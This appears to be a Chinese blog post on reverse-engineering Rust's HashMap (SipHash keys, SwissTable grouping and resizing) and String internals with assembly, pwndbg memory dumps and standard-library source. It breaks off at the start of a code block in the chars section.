0%

Reverse for HashMap

HashMap是各个语言常用的一种数据结构,在每个语言中的实现都有或多或少的差别,相信学过数据结构的都知道HashMap在数据量较大时具有很小的时间复杂度。下面我们将分析在Rust中,HashMap在内存中的表示方式。

new / insert / get

1
2
3
4
5
6
7
use std::collections::HashMap;

pub fn main(){
let mut map: HashMap<u64, u64> = HashMap::new();
map.insert(1, 2);
println!("{}", map.get(&1u64).unwrap());
}

以上面的代码为例。我们分段看一下对应的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
example::main:
sub rsp, 200
mov rax, qword ptr [rip + std::collections::hash::map::HashMap<K,V>::new@GOTPCREL]
lea rdi, [rsp + 48]
mov qword ptr [rsp + 40], rdi
call rax
mov rdi, qword ptr [rsp + 40]
mov rax, qword ptr [rip + std::collections::hash::map::HashMap<K,V,S>::insert@GOTPCREL]
mov esi, 1
mov edx, 2
call rax
jmp .LBB157_3

上面的代码包含了newinsert两个操作,通过调试发现,new方法与字符串、可变数组的new类似,都是传入要初始化的栈指针。在初始化完成之后,这部分栈的数据如下所示,貌似看不出来什么特殊的地方。

1
2
3
4
5
6
pwndbg> tele 0x7fffffffd910
00:0000│ rax rdi 0x7fffffffd910 —▸ 0x5555555a62d0 ◂— 0xffffffffffffffff
01:0008│ 0x7fffffffd918 ◂— 0x0
... ↓ 2 skipped
04:0020│ 0x7fffffffd930 ◂— 0x419fa2b4be855595
05:0028│ 0x7fffffffd938 ◂— 0x944210c733652a9b

往下是插入方法的调用,参数类型也很明显,第一个为HashMap栈指针,第二个是Key,第三个是Value。我们要重点看一下调用后HashMap的内存结构长啥样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> tele 0x7fffffffd910
00:0000│ 0x7fffffffd910 —▸ 0x5555555bebe0 ◂— 0xffffffffff45ffff
01:0008│ 0x7fffffffd918 ◂— 0x3
02:0010│ 0x7fffffffd920 ◂— 0x2
03:0018│ 0x7fffffffd928 ◂— 0x1
04:0020│ 0x7fffffffd930 ◂— 0x419fa2b4be855595
05:0028│ 0x7fffffffd938 ◂— 0x944210c733652a9b

pwndbg> tele 0x5555555beb90
00:0000│ 0x5555555beb90 ◂— 0x0
01:0008│ 0x5555555beb98 ◂— 0x61 /* 'a' */
02:0010│ r9 0x5555555beba0 ◂— 0x0
03:0018│ 0x5555555beba8 ◂— 0x0
04:0020│ rcx 0x5555555bebb0 ◂— 0x1
05:0028│ 0x5555555bebb8 ◂— 0x2
06:0030│ 0x5555555bebc0 ◂— 0x0
07:0038│ 0x5555555bebc8 ◂— 0x0
pwndbg>
08:0040│ 0x5555555bebd0 ◂— 0x0
09:0048│ 0x5555555bebd8 ◂— 0x0
0a:0050│ rdi 0x5555555bebe0 ◂— 0xffffffffff45ffff
0b:0058│ 0x5555555bebe8 ◂— 0xffffffffffffffff
0c:0060│ 0x5555555bebf0 ◂— 0xff45ffff
0d:0068│ 0x5555555bebf8 ◂— 0x20411
0e:0070│ 0x5555555bec00 ◂— 0x0
0f:0078│ 0x5555555bec08 ◂— 0x0

可以看到,0x5555555beb90应该就是与HashMap相关的数据结构,下面的0x20411是top chunk的大小,后面的内容不属于这个chunk。值得注意的是,这个chunk中确实保存了我们插入的数据,后面还有一些由0xFF组成的未知数据结构。这样看来,单插入一个数据看不出来它的具体实现方式,因此这里尝试多插入一些结构,看看内存的变化。

不看不知道,一看发现,其中的玄机还挺大。在HashMap的栈对象内存空间中,我们在最后可以看到有一个被像是随机数一类的数据占用的0x10大小的内存空间,从IDA反编译可以得知,这是std::collection::hash_map::RandomState实例。这又是一个什么东西呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pub struct RandomState {
k0: u64,
k1: u64,
}

impl RandomState {
#[inline]
#[allow(deprecated)]
#[must_use]
#[stable(feature = "hashmap_build_hasher", since = "1.7.0")]
pub fn new() -> RandomState {
thread_local!(static KEYS: Cell<(u64, u64)> = {
Cell::new(sys::hashmap_random_keys())
});

KEYS.with(|keys| {
let (k0, k1) = keys.get();
keys.set((k0.wrapping_add(1), k1));
RandomState { k0, k1 }
})
}
}

从上面的Rust内核部分源码可以看到,这里保存的确实是两个随机数,经过测试发现,两个随机数的值每一次执行都不一样。

那么,HashMap为什么需要这样一个结构呢?继续往下看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#[stable(since = "1.7.0", feature = "build_hasher")]
pub trait BuildHasher {
#[stable(since = "1.7.0", feature = "build_hasher")]
type Hasher: Hasher;

#[stable(since = "1.7.0", feature = "build_hasher")]
fn build_hasher(&self) -> Self::Hasher;

#[stable(feature = "build_hasher_simple_hash_one", since = "1.71.0")]
fn hash_one<T: Hash>(&self, x: T) -> u64
where
Self: Sized,
Self::Hasher: Hasher,
{
let mut hasher = self.build_hasher();
x.hash(&mut hasher);
hasher.finish()
}
}

#[stable(feature = "hashmap_build_hasher", since = "1.7.0")]
impl BuildHasher for RandomState {
type Hasher = DefaultHasher;
#[inline]
#[allow(deprecated)]
fn build_hasher(&self) -> DefaultHasher {
DefaultHasher(SipHasher13::new_with_keys(self.k0, self.k1))
}
}

RandomStateBuildHasher这个Trait进行impl的情况来看,HashMap使用的是SipHasher13这种Hash算法。这种算法多用于短消息的哈希,是一个伪随机函数族,可作为消息认证的MAC函数使用,具有安全、快速、简洁等特点。具体的算法参见传送门。HashMap在每一次insertget的时候都会使用这个Hash函数进行计算。

好,现在我们知道HashMap使用什么哈希函数进行计算了,并且通过上面的分析也能够得出下面的结论:在一个Rust进程中,即使是泛型类型完全相同的两个HashMap结构,对于同一个Key所计算出的Hash值也几乎是不可能相同的,因为所使用的SipHasher算法的两个key值是随机生成的,对于不同的key值,计算出来的Hash值也不同。

分析出使用的Hash函数后,我们可以开始解决其他的问题了。第一:这些Hash值在什么地方保存?第二:之前在堆中看到的大部分是0xFF的那一堆数据到底有什么用?

首先解决第一个问题。在调试中通过检查内存情况发现,这些Hash值没有保存在栈或堆中。没有保存在栈好理解,毕竟一个HashMap可能有很多个Hash值,全保存在栈里很可能爆栈的。但是堆空间也没有找到就很有意思了。从IDA反汇编的结果来看,在insertget内部还调用了其他的方法。在insert中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pub fn insert(&mut self, k: K, v: V) -> Option<V> {
let hash = make_hash::<K, S>(&self.hash_builder, &k);
let hasher = make_hasher::<_, V, S>(&self.hash_builder);
match self
.table
.find_or_find_insert_slot(hash, equivalent_key(&k), hasher)
{
Ok(bucket) => Some(mem::replace(unsafe { &mut bucket.as_mut().1 }, v)),
Err(slot) => {
unsafe {
self.table.insert_in_slot(hash, slot, (k, v));
}
None
}
}
}

可以看到,这里使用hash值(不可变变量hash)的关键方法有find_or_find_insert_slotinsert_in_slot这两个。整个insert方法的逻辑和Rust中对于HashMap的插入操作逻辑相同——当Key存在时,使用新的Value替换旧的Value;当Key不存在时,将Key插入并添加Value。在上面的insert内核方法中,k即为新的Key,v即为新的Value。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#[inline]
pub fn find_or_find_insert_slot(
&mut self,
hash: u64,
mut eq: impl FnMut(&T) -> bool,
hasher: impl Fn(&T) -> u64,
) -> Result<Bucket<T>, InsertSlot> {
self.reserve(1, hasher);

unsafe {
match self
.table
.find_or_find_insert_slot_inner(hash, &mut |index| eq(self.bucket(index).as_ref()))
{
// SAFETY: See explanation above.
Ok(index) => Ok(self.bucket(index)),
Err(slot) => Err(slot),
}
}
}

#[inline]
unsafe fn find_or_find_insert_slot_inner(
&self,
hash: u64,
eq: &mut dyn FnMut(usize) -> bool,
) -> Result<usize, InsertSlot> {
let mut insert_slot = None;

let h2_hash = h2(hash);
let mut probe_seq = self.probe_seq(hash);

loop {
let group = unsafe { Group::load(self.ctrl(probe_seq.pos)) };

for bit in group.match_byte(h2_hash) {
let index = (probe_seq.pos + bit) & self.bucket_mask;

if likely(eq(index)) {
return Ok(index);
}
}

if likely(insert_slot.is_none()) {
insert_slot = self.find_insert_slot_in_group(&group, &probe_seq);
}

if likely(group.match_empty().any_bit_set()) {
unsafe {
return Err(self.fix_insert_slot(insert_slot.unwrap_unchecked()));
}
}

probe_seq.move_next(self.bucket_mask);
}
}

注意到了吗?上面的unsafe方法find_or_find_insert_slot_inner中有一个h2方法:

1
2
3
4
5
6
7
8
9
10
#[inline]
#[allow(clippy::cast_possible_truncation)]
fn h2(hash: u64) -> u8 {
// Grab the top 7 bits of the hash. While the hash is normally a full 64-bit
// value, some hash functions (such as FxHash) produce a usize result
// instead, which means that the top 32 bits are 0 on 32-bit platforms.
// So we use MIN_HASH_LEN constant to handle this.
let top7 = hash >> (MIN_HASH_LEN * 8 - 7);
(top7 & 0x7f) as u8 // truncation
}

破案了,这里获取了hash的最高7位,经过调试证实,堆空间中一串0xFF中间掺杂的其他数据就是这些Hash值的最高7位。通过这个方法名,实际上已经可以在网上找到这个HashMap的算法了——Swiss Tables。经过简单了解后发现,它与Rust中的实现高度吻合。这是一种较新的高效HashMap算法,需要保存Key和Value本身,通过若干个16字节大小的桶进行索引。具体的算法实现可见传送门,下面也将进行简单介绍。

Swiss Tables

Data Structure

这个算法包含两个最为重要的数据结构,第一是若干个Group,每一个Group都是一个长度固定为16的数组,所有元素均为键值对,这里称每一个数组项为桶(Bucket)。第二是控制字节(Control Bytes)数组,对于每一个Group中的每一个元素,都有一个1字节的控制字节,因此控制字节数组的字节数量等于Group数量乘以16。

在这个算法中,需要对Hash进行如下操作:将Hash值截为无符号64位值(Rust中如果使用默认Hash算法,其输出就是无符号64位值,因此无需截断),随后分为最高7位与余下的57位。最高7位将被用来填充保存该元素的桶的控制字节的低7位,最高1位另有作用。余下的57位将用于确定将这个值保存在哪个Group中。在Rust中,控制字节为全1代表这个桶为空,为128代表这个桶被删除。

为方便说明,下面的所有图中,以绿色代表桶空,黄色代表满,红色代表已删除。

Insert/Delete/Find

那么这里就出现了一个问题:如果57位只是用来确定应该保存在哪个组,那么应该如何确定保存到组中的哪个桶呢?实际上这个问题根本不需要考虑,因为Swiss Tables充分考虑了现代CPU浮点数架构的性能优化,对于一个组,它的控制字节一共16字节,正好是一个浮点寄存器的大小,在实际实现的时候可以通过使用浮点数指令来进行加速,无论元素被保存到一个组中的哪个桶,都能够在固定的时间完成对一组的查找下面通过查找来简单说明。

如果需要查找某个Key,首先计算Hash值,随后获取高7位与其应该保存到的组的索引值,为方便说明,假设高7位为0x18。下面首先要完成的工作是尝试匹配高7字节,即在这个桶的16字节中尝试找到一个字节的值为0x18。找到之后还需要进一步比较Key值是否真的相等,因为7字节的空间很小容易发生碰撞。如果没有匹配到,需要判断这个组是否已经填满。因为Swiss Tables的插入规则中包含这样一条:当目标组已满时,需要判断该组的下一个组是否全满,如果不是则保存到下一个组,如果是则继续向下查找。也就是说,在查找的时候如果发现目标组已经填满且组中没有找到Key,则还需要向下查找下面的组,直到查找到Key或检测到某个组不是全满为止。

以上图为例,如果现在需要查找3这个Key,Hash高7位为0x18,计算出的Hash值表示它应该被保存到组1中。但在插入时由于组1已满,因此被插入到组2中。在查找时,可首先通过一条浮点数指令将1个字节的值复制到16个字节的浮点数寄存器中,使浮点数寄存器的16个字节的值都等于0x18,随后使用两条浮点数指令将16个控制字节与浮点数寄存器进行逐字节比较获取16字节输出,相同的字节在输出中对应为值1,不同为0。最后获取到所有控制字节匹配的桶,进行Key的比较。

在上图的例子中,对组1进行匹配时发现没有找到3,且注意到这个组全满,因此需要继续匹配下面一组,在下面一组中找到了3这个Key,查找完成,Hit。

如果要查找6这个Key,且它的Hash值高7位也是0x18,那么在查找到组2没有找到后,还需要查找组3,组3中也没有,但组3不是全满,因此判断HashMap中不存在6这个Key,Miss。

从上面的分析可以看出,Swiss Tables在插入时遵循线性探测规则。根据上面所述的规则,我们能够基本完成对HashMap的插入、删除与查询操作。

不过上面的查找算法还有一个问题需要解决:对于已经删除的项,是应该将其视作满还是空?考虑一下:如果将删除项视作空,那么对于一堆全满的连续的多个组,在每个组中都可能保存有原本应该保存在这一堆中第一个组的元素,却因为前面的组都满了而被赶到了后面保存,将其视作空就相当于是减少了连续的全满的组的数量,假设有原本应该保存在组1的元素a被保存到组4,而组3删除了一个元素,那么在查找a的时候,只是找到组3就会退出,这样显然是错误的。因此查找时,对于已删除元素,应将其看做桶满。

Expand

下面,我们还需要解决这个算法中的一个重要部分:扩容。如果所有组中空闲桶数量不足需要扩充,扩充前后同一个元素的Hash值计算出来应该保存到的组的索引有可能不同,这样原本应该保存到同一个组的元素可能会保存到相距很远的不同组中。举例说明,如果后57位确定组是通过将值对组数取模得到,那么对于一个原来有4组的HashMap,将其扩充到8组后,Hash值为0x5的数据在扩容前应该被保存到组1,但扩容后则会被保存到组5。扩容后若进行查找,也是从组5开始查找,此时无法查找到组1的这个数据。这个问题如何解决?如果组的数量没有即使扩充,当产生的连续全满组数量较多时,有可能会导致一次查找需要遍历所有这些全满组,导致效率有所降低,这个问题如何解决?

千言万语都说明,我们需要一个正确的高效的扩容算法。但很可惜的是,扩容算法的解释在网络中几乎没有,针对Swiss Tables的介绍大多是针对前面三种操作以及分析其查询效率为什么高。那么下面,我们将通过实际的试验验证Rust中HashMap的扩容策略。

首先,我们需要明确Rust HashMap在什么时候扩容。通过查看Rust源码发现了这样一个方法:

1
2
3
4
5
6
7
8
9
10
fn bucket_mask_to_capacity(bucket_mask: usize) -> usize {
if bucket_mask < 8 {
// For tables with 1/2/4/8 buckets, we always reserve one empty slot.
// Keep in mind that the bucket mask is one less than the bucket count.
bucket_mask
} else {
// For larger tables we reserve 12.5% of the slots as empty.
((bucket_mask + 1) / 8) * 7
}
}

从注释中可以看出,对于桶数量为1/2/4/8的HashMap,Rust总是保留一个空的桶,而更大的HashMap则保留1/8的桶为空。这一点可以通过反复调用HashMap的capacity方法找到端倪。当我们一个个插入数据的时候,输出的capacity去重后是这样一个序列:3, 7, 14(16x7÷8), 28(32x7÷8), 56(64x7÷8), …。

接下来,这里重点探究一下Rust HashMap在扩容前后数据位置的变化情况。笔者本来是想通过直接搜索源码查找相关代码的,但找了半天无功而返,因此只得寻求动态调试的帮助。结果很简单就找到了,但是不知道为什么,调试显示的行与实际行不同。下面找到了一个resize,但是看不懂:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
unsafe fn resize(
&mut self,
capacity: usize,
hasher: impl Fn(&T) -> u64,
fallibility: Fallibility,
) -> Result<(), TryReserveError> {
// SAFETY:
// 1. The caller of this function guarantees that `capacity >= self.table.items`.
// 2. We know for sure that `alloc` and `layout` matches the [`Allocator`] and
// [`TableLayout`] that were used to allocate this table.
// 3. The caller ensures that the control bytes of the `RawTableInner`
// are already initialized.
self.table.resize_inner(
&self.alloc,
capacity,
&|table, index| hasher(table.bucket::<T>(index).as_ref()),
fallibility,
Self::TABLE_LAYOUT,
)
}

#[allow(clippy::inline_always)]
#[inline(always)]
unsafe fn resize_inner<A>(
&mut self,
alloc: &A,
capacity: usize,
hasher: &dyn Fn(&mut Self, usize) -> u64,
fallibility: Fallibility,
layout: TableLayout,
) -> Result<(), TryReserveError>
where
A: Allocator,
{
// SAFETY: We know for sure that `alloc` and `layout` matches the [`Allocator`] and [`TableLayout`]
// that were used to allocate this table.
let mut new_table = self.prepare_resize(alloc, layout, capacity, fallibility)?;

// SAFETY: We know for sure that RawTableInner will outlive the
// returned `FullBucketsIndices` iterator, and the caller of this
// function ensures that the control bytes are properly initialized.
for full_byte_index in self.full_buckets_indices() {
// This may panic.
let hash = hasher(self, full_byte_index);

// SAFETY:
// We can use a simpler version of insert() here since:
// 1. There are no DELETED entries.
// 2. We know there is enough space in the table.
// 3. All elements are unique.
// 4. The caller of this function guarantees that `capacity > 0`
// so `new_table` must already have some allocated memory.
// 5. We set `growth_left` and `items` fields of the new table
// after the loop.
// 6. We insert into the table, at the returned index, the data
// matching the given hash immediately after calling this function.
let (new_index, _) = new_table.prepare_insert_slot(hash);

// SAFETY:
//
// * `src` is valid for reads of `layout.size` bytes, since the
// table is alive and the `full_byte_index` is guaranteed to be
// within bounds (see `FullBucketsIndices::next_impl`);
//
// * `dst` is valid for writes of `layout.size` bytes, since the
// caller ensures that `table_layout` matches the [`TableLayout`]
// that was used to allocate old table and we have the `new_index`
// returned by `prepare_insert_slot`.
//
// * Both `src` and `dst` are properly aligned.
//
// * Both `src` and `dst` point to different region of memory.
ptr::copy_nonoverlapping(
self.bucket_ptr(full_byte_index, layout.size),
new_table.bucket_ptr(new_index, layout.size),
layout.size,
);
}

// The hash function didn't panic, so we can safely set the
// `growth_left` and `items` fields of the new table.
new_table.growth_left -= self.items;
new_table.items = self.items;

// We successfully copied all elements without panicking. Now replace
// self with the new table. The old table will have its memory freed but
// the items will not be dropped (since they have been moved into the
// new table).
// SAFETY: The caller ensures that `table_layout` matches the [`TableLayout`]
// that was used to allocate this table.
mem::swap(self, &mut new_table);

Ok(())
}

写到这里,笔者已经被这个问题纠缠了两周,不堪忍受的我决定开始人肉找规律,将所有的Hash值转换为二进制,看看归于同一组的Hash到底有什么相同之处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Inserted 1, hash = 33bd1e335a4e43f0, h2 = 19, map capacity = 3
Inserted 3, hash = 56303fd171416940, h2 = 2b, map capacity = 3
Inserted 15, hash = cde8088c422f9d0, h2 = 6, map capacity = 3
Inserted 22, hash = 411807d47ecb5b61, h2 = 20, map capacity = 7
Inserted 23, hash = bbf28bf43ce33881, h2 = 5d, map capacity = 7
Inserted 45, hash = 217bed8f242fc391, h2 = 10, map capacity = 7
Inserted 46, hash = d97613d73c3edd81, h2 = 6c, map capacity = 7
Inserted 48, hash = ec9ec7fbb5226711, h2 = 76, map capacity = e
Inserted 53, hash = ea21590131a0aad0, h2 = 75, map capacity = e
Inserted 55, hash = 6e28ebd650236d51, h2 = 37, map capacity = e
Inserted 59, hash = 263478baaf15b7f1, h2 = 13, map capacity = e
Inserted 60, hash = 2aebb2b8fdb4f070, h2 = 15, map capacity = e
Inserted 73, hash = 163193d2c2c5b7c1, h2 = b, map capacity = e
Inserted 78, hash = a8f5a0a55cea2e21, h2 = 54, map capacity = e
Inserted 85, hash = dbe1512d01714890, h2 = 6d, map capacity = 1c
Inserted 87, hash = 1159a3327874fea1, h2 = 8, map capacity = 1c

22:0110│ 0x5555555bdf40 ◂— 0x1513377576100619
23:0118│ 0x5555555bdf48 ◂— 0xffffffffffffff6d
24:0120│ 0x5555555bdf50 ◂— 0xff08540b6c5d202b
25:0128│ 0x5555555bdf58 ◂— 0xffffffffffffffff

0011 0011 1011 1101 0001 1110 0011 0011 0101 1010 0100 1110 0100 0011 1111 0000
0000 1100 1101 1110 1000 0000 1000 1000 1100 0100 0010 0010 1111 1001 1101 0000
0010 0001 0111 1011 1110 1101 1000 1111 0010 0100 0010 1111 1100 0011 1001 0001
1110 1100 1001 1110 1100 0111 1111 1011 1011 0101 0010 0010 0110 0111 0001 0001
1110 1010 0010 0001 0101 1001 0000 0001 0011 0001 1010 0000 1010 1010 1101 0000
0110 1110 0010 1000 1110 1011 1101 0110 0101 0000 0010 0011 0110 1101 0101 0001
0010 0110 0011 0100 0111 1000 1011 1010 1010 1111 0001 0101 1011 0111 1111 0001
0010 1010 1110 1011 1011 0010 1011 1000 1111 1101 1011 0100 1111 0000 0111 0000
1101 1011 1110 0001 0101 0001 0010 1101 0000 0001 0111 0001 0100 1000 1001 0000

0101 0110 0011 0000 0011 1111 1101 0001 0111 0001 0100 0001 0110 1001 0100 0000
0100 0001 0001 1000 0000 0111 1101 0100 0111 1110 1100 1011 0101 1011 0110 0001
1011 1011 1111 0010 1000 1011 1111 0100 0011 1100 1110 0011 0011 1000 1000 0001
1101 1001 0111 0110 0001 0011 1101 0111 0011 1100 0011 1110 1101 1101 1000 0001
0001 0110 0011 0001 1001 0011 1101 0010 1100 0010 1100 0101 1011 0111 1100 0001
1010 1000 1111 0101 1010 0000 1010 0101 0101 1100 1110 1010 0010 1110 0010 0001
0001 0001 0101 1001 1010 0011 0011 0010 0111 1000 0111 0100 1111 1110 1010 0001

上面最后的几大行二进制数据中,上面的是保存到第一组的Hash,下面的是保存到第二组的Hash,看出来有什么规律了吗?可以发现,上面的Hash中所有的第5低的bit均为1,下面的均为0。为了严谨考虑,笔者增加了数据量进行了进一步测试,发现当组数为4时,是按照第5低bit和第6低bit来判断一个数据应该被分到哪组。

至此,我们最终通过实验获知了Rust中的HashMap的分组方式,与传统的SwissTable不同,分组的标志位从第5低bit开始,这也是为什么笔者一开始找了很长时间源码与规律依然一无所获。

下面是笔者的测试程序,读者可以将这个程序编译后通过gdb调试进行HashMap内存空间的一一比对。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
use std::collections::HashMap;
use std::hash::{BuildHasher, Hash, Hasher};

pub fn main() {
let rs = std::collections::hash_map::RandomState::new();
let mut map: HashMap<u64, u64> = HashMap::with_hasher(rs);
let mut ctr = [0;4];
for i in 0..1000u64 {
let mut hasher = map.hasher().build_hasher();
i.hash(&mut hasher);
let hash = hasher.finish();
if ctr[(hash as usize >> 4) & 3] == 13 { continue }
if ctr[0] + ctr[1] + ctr[2] + ctr[3] == 13 * 4 { break }
let h2 = hash >> 57;
map.insert(i, i);
println!("Inserted {i:<02}, hash = {hash:<064b}, h1(suspected) = {:x}, h2 = {:x}, map capacity = {:x}",
(hash >> 4) & 3, h2, map.capacity());
ctr[(hash as usize >> 4) & 3] += 1;
}
println!("Finished!");
}

在实际测试过程中,当数据量较大时,经常需要线性后移,即当前组已满,需要将Hash值移动到后面一个组中。实际调试时发现,一个组中似乎最多只会保存15个数据而不是填充满,在几次调试后均未发现填充满的组。

另外需要注意的是,在保存HashMap的堆Chunk中,数据的排布方式有一些独特。数据保存在SwissTable之前,设SwissTable的起始地址为x,那么x+i处标志字节所对应的数据地址位于x-sizeof(key+value)*i,笔者猜测这样是为了便于Rust进行寻址,因为对HashMap的操作中,普遍是传入的SwissTable地址而非数据的起始地址,这样可以在不知道数据起始地址的情况下快速对应到数据。而对于SwissTable,若实际的组数为2n,那么保存到堆中的组应该为2n+1,最后一组与第一组的数据相同。这可能是为了在最后一组满且需要保存数据时能够快速检测到需要遍历到第一组添加数据。

总结

本文的信息量比较大,下面我们来简单总结一下。

  • 对于Rust,其HashMap的底层实现是SwissTable,这是一种高效的HashMap算法。
  • Rust在HashMap中使用的默认Hash算法是SipHash算法。
  • Rust会保证所有组至少留出1/8的空闲空间,如果下一次添加数据打破了这一规则,Rust将对组进行扩充。
  • Rust将Hash去掉最低4位和最高7位,剩余的值作为组的索引值,其值对组数取模后的值即为一个键值对应该被保存的组号。如果组满则实行线性规则在后面的组中插入。
  • Rust在初始化HashMap时使用两个随机数作为Hash算法的参数,这使得相同的键值对在不同的HashMap中计算的Hash值也不同。
  • Rust的HashMap其余规则与SwissTable定义的规则没有什么太大的区别。

Reverse for String

上一篇文章简单分析了Vec变长数组的结构,今天来介绍String。实际上Rust的字符串类型对于我们并不陌生,在前面几篇文章的几乎任何一个示例中都可以找到它们。

我们曾经提到过,String类型在栈中占0x18大小,其中包括字符串的指针、字符串长度、字符串容量。看上去好像什么问题都没有,但如果你使用Python或C/C开发过一些项目,你可能会遇到一些与字符串编码有关的问题。在C中,由于需要考虑多种字符编码方式,字符被分为char、wchar_t、tchar等等,它们占用的字节数量还不相同,如果需要转换还需要使用特定的函数完成,对于一些需要进行编码转换的场景来说,稍有一个不注意,可能就是一串乱码怼在你的脸上,让人深恶痛绝。

但对于Rust而言,它规定,只要是我Rust写的程序,程序里面的所有字符串全都用UTF-8编码。这样就从根本上杜绝了编码转换的问题。

不过,这也产生了一些问题,其中影响最大的可能就是字符串不可索引了。由于使用UTF-8编码,对于不同的字符,其占用的字节数量可能不同,而Rust又不能将字符串单纯地看做单字节数组,因此Rust无法知道在一个既有中文又有英文又有其他语言的字符串中,第某个有效字符在字符串中的偏移地址到底是多少。对于一个Rust字符串,它的长度指的是占用的内存空间大小,因此对于1个中文字符组成的字符串,它的长度实际上是3。

下面介绍一下Rust中String的常用操作。

push_str+

在Rust中,push_str方法与运算符+都能够将一个字符串拼接到另一个字符串的后面。让我们看一下二者在汇编上有什么区别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pub fn main(){
let mut s = String::from("CoLin");
s += "666";
println!("{}", s);
}

example::main:
sub rsp, 152
lea rsi, [rip + .L__unnamed_7]
lea rdi, [rsp + 32]
mov qword ptr [rsp + 24], rdi
mov edx, 5
call <alloc::string::String as core::convert::From<&str>>::from
mov rdi, qword ptr [rsp + 24]
lea rsi, [rip + .L__unnamed_8]
mov edx, 3
call <alloc::string::String as core::ops::arith::AddAssign<&str>>::add_assign
jmp .LBB36_3

首先看下+。这里的+运算符实际上是调用了String的方法,String这个结构重载了+这个运算符。这与C++的运算符重载类似。在汇编中,显示出调用的函数为<alloc::string::String as core::ops::arith::AddAssign<&str>>::add_assign。实际上,Rust运算符重载的本质就是对“加”这个操作的Trait的impl,它与Rust中其他Trait并没有太大的区别,只有在使用的时候能够直接用运算符代替显式的方法调用罢了。需要注意的是,使用+运算符或push_str时,参数只能是字符串切片而不能是字符串,这是因为这两个方法不需要获取String的所有权,如果能够传入String,那么在这个函数执行后参数实际上就被销毁了,这当然是不希望看到的。另外,由于有解引用强制转换,我们传入String的引用也是被允许的。

对于上面的示例,一开始的字符串创建时,其指针指向的实际上并不是堆地址空间,而是字符串切片CoLin中保存的字符串常量地址。此时s中的字符串长度与字符串容量相同,均为5。随后使用+运算符增加字符串长度时,由于检测到字符串没有多余容量,因此会在堆空间分配一块更大的空间,将字符串拼接的结果保存到这块空间中,与realloc有相似之处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pub fn main(){
let mut s = String::from("CoLin");
s.push_str("666");
println!("{}", s);
}

example::main:
sub rsp, 152
lea rsi, [rip + .L__unnamed_7]
lea rdi, [rsp + 32]
mov qword ptr [rsp + 24], rdi
mov edx, 5
call <alloc::string::String as core::convert::From<&str>>::from
mov rdi, qword ptr [rsp + 24]
lea rsi, [rip + .L__unnamed_8]
mov edx, 3
call alloc::string::String::push_str
jmp .LBB36_3

上面是使用push_str的汇编结果,可以看到只有函数调用发生了改变,甚至二者传入的参数都是一样的,分别是:原来的String栈地址,看做this、字符串指针、字符串长度。

format!

当需要拼接的字符串较多,或符合某种格式时,使用format!宏是一种更加简洁的方法。对于format!宏,我们实际上已经分析过了,因为println!的前半部分就是format!,也就是core::fmt::Arguments::new_v1方法的调用流程。这个在第一篇文章中已经介绍过了,这里不再赘述。

bytes方法

这个方法返回的是字符串中的所有字节。不过需要注意的是这个方法返回的是一个不可变借用,除非这个方法的返回值被删除,否则字符串不能修改。

1
2
3
4
5
6
7
8
9
pub fn main(){
let s = String::from("CoLin");
let t = String::from("666");
let mut u = format!("{s} is {t}");
let mut x = u.bytes();
for b in x{
println!("{}", b);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
...
.LBB27_9:
mov rax, qword ptr [rsp + 216]
mov qword ptr [rsp + 192], rax
movups xmm0, xmmword ptr [rsp + 200]
movaps xmmword ptr [rsp + 176], xmm0
lea rdi, [rsp + 176]
call <alloc::string::String as core::ops::deref::Deref>::deref
mov qword ptr [rsp + 64], rdx
mov qword ptr [rsp + 72], rax
jmp .LBB27_12
...
.LBB27_12:
mov rsi, qword ptr [rsp + 64]
mov rdi, qword ptr [rsp + 72]
call core::str::<impl str>::bytes
mov qword ptr [rsp + 48], rdx
mov qword ptr [rsp + 56], rax
jmp .LBB27_13
.LBB27_13:
mov rsi, qword ptr [rsp + 48]
mov rdi, qword ptr [rsp + 56]
mov rax, qword ptr [rip + <I as core::iter::traits::collect::IntoIterator>::into_iter@GOTPCREL]
call rax
mov qword ptr [rsp + 32], rdx
mov qword ptr [rsp + 40], rax
jmp .LBB27_14
.LBB27_14:
mov rax, qword ptr [rsp + 32]
mov rcx, qword ptr [rsp + 40]
mov qword ptr [rsp + 304], rcx
mov qword ptr [rsp + 312], rax
.LBB27_15:
lea rdi, [rsp + 304]
call <core::str::iter::Bytes as core::iter::traits::iterator::Iterator>::next
mov byte ptr [rsp + 30], dl
mov byte ptr [rsp + 31], al
jmp .LBB27_16

可以看到,上面的代码中,首先对String类型进行deref解引用获取字符串切片,然后调用bytes方法,这个方法的第一个参数是字符串指针,第二个参数是字符串长度。这个方法的返回值有两个,rax为字符串开头的地址,rdx为字符串末尾的地址。后面是into_iter方法,这个方法的参数和返回值一样。下面就是正常的迭代器迭代流程,在前面的文章中有分析。

chars方法

这个方法返回的是字符串中所有字符的集合。由于字符串中每个字符占用的字节数量可能不同,那么如何表示字符的集合就很值得我们研究了。

1
2
3
4
5
6
7
8
9
pub fn main(){
let s = String::from("CoLin");
let t = String::from("太6了!");
let mut u = format!("{s} {t}");
let mut x = u.chars();
for b in x{
println!("{}", b);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
